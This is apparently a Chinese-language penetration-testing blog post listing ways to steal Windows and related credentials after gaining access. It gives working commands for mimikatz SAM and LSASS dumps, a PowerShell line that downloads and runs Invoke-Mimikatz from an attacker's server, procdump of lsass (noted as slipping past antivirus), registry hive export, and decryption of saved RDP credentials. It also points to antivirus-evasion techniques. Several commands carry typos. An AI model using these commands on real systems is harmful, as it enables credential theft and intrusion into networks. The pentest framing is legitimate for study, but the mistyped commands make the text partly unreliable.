Hash简介
Windows系统使用两种方法对用户的密码逬行哈希处理,它们分别是LAN Manager (LM)哈希和NT LAN
Manager (NTLM)哈希.
所谓哈希(hash),就是使用一种加密函数进行计算后的结果.这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串.
现在已经有了更新的NTLMv2以及Kerberos验证体系.
Windows加密过的密码口令,我们称之为hash, Windows的系统密码hash默认情况下TS由两部分组成:第一
部分是LM-hash,第二部分是NTLM-hashₒ
Hash分类
2000 | xp | 2003 | Vista | win7 | 2008 | 2012 | |
---|---|---|---|---|---|---|---|
LM | ✔ | ✔ | ✔ | ||||
NTLM | ✔ | ✔ | ✔ | ✔ | ✔ | ✔ | ✔ |
LM哈希密码最大长度为14,密码长度超过14位是要用NTLM哈希。
Hash格式
用户名RID:LM-HASH值 :NT-HASH值
用户的SID值末尾的4个数字为用户的RID值
Windows认证基础
本地认证:用户直接操作计算机登录
网络认证:远程连接到工作组的某个设备
域认证:登录到域环境的某个设备
Windows本地认证
- 用户输入密码
- 系统收到密码后将用户 输入的密码计算成NTLM Hash
- 与sam数据库(%SystemRoot%\system32\config\sam)
- 匹配则登录成功
本地认证中用来处理用户输入密码的进程为Isass.exe,密码会在这个进程中明文保存,供该进程将NTLM Hash和sam数据库中的Hash及进行比对,我们使用mimikatz来获取的明文密码,就是在这个进程中读取到的。
系统用户密码凭证获取
minikatz
本地非交互式凭证获取
1 | minikatz.exe "log res.txt" "privilege::debuug" "token::elevate" "lsadump::sam" "exit" |
这里展示获取Hash值方法
首先进入privilege::debug进行提权
接着进行token模拟,运行token::elevate可以将权限提到system
然后使用lsdump::sam把sam数据库中的值dump下来,可以获取用户hash值
最后登录md5解密网站进行解密
如果解密不出来,据说可以利用这个hash值进行域内的横向移动。
powershell
powershell远程加载mimikatz脚本
1 | powershell IEX (New-Object Net.webClient).Downloading('你的vps中脚本下载地址');Invoke-Mimikatz-DumpCreds |
Pwddump7
这款工具也可以读取当前系统的各个用户的密码hash
在命令行输入
1 | Pwddump7.exe > pass.txt |
Ophcrack
配合彩虹表进行口令破解
工具下载:
https://ophcrack.sourceforge.io/
彩虹表:
https://ophcrack.sourceforge.io/tables.php
http://project-rainbowcrack.com/table.htm
Procdump+Mimikatz(比较常用)
这个是微软的工具,经过微软认证,所以杀软比较不会识别
工具下载:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
Procdump lsass 进程导出:
1 | x86:procdump.exe -accepteula -ma lsass.exe lsass.dmp |
然后用mimikatz还原密码
1 | sekurlsa::minidump lsass.dmp |
minikatz免杀方法
参考链接:https://www.freebuf.com/articles/system/234365.html
注册表导出Hash
1 | reg save HKLM\SYSTEM system.hiv |
导出后可以使用cain导入system.hiv、security.hiv获取缓存中的明文信息
1 | mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" eixt |
meterpreter获取Hash
meterpreter集成了minikatz模块
使用命令
1 | load minikatz |
以及其他命令,不作详述。
cobaltstrike获取Hash
cobaltstrike也能够在监听器中使用mimikatz
其他
Powershell脚本获取RDP记录
参考:https://github.com/3gstudent/List-RDP-Connections-History.git
可以获取RDP连接记录
本地RDP连接密码解密
查看连接记录
1 | reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s |
查看是否有密码文件
1 | dir /a %userprofile%\AppData\Local\Microsoft\Credentials\* |
查看保存在本地的远程主机信息
1 | cmdkey /list |
mimikatz解密
1 | 提权 |
PPTP口令获取
PPTP点对点隧道协议,可以使远程用户拨入ISP访问企业内网。
在渗透测试中,获取了PPTP口令,就可以登录内网进行进一步渗透。
需要得到管理员权限。
Mysql数据库密码破解
与用户相关的三个文件是user.frm、user.MYD\USER.myi,Mysql数据库用户名密码都保存在user.MYD中。
加密方式:
Mysql4.1之前是Mysql323加密
Mysql4.1之后是MysqlSHA1加密
总结
这里列举了一些比较常见的密码凭证获取的方法,可以发现密码凭证大多数都是使用Hash值进行存储,破解其实也比较困难,主要是采用彩虹表,但也不排除有些密码凭证是以明文方式存储的。总而言之,方法总比困难多。
Author: Sally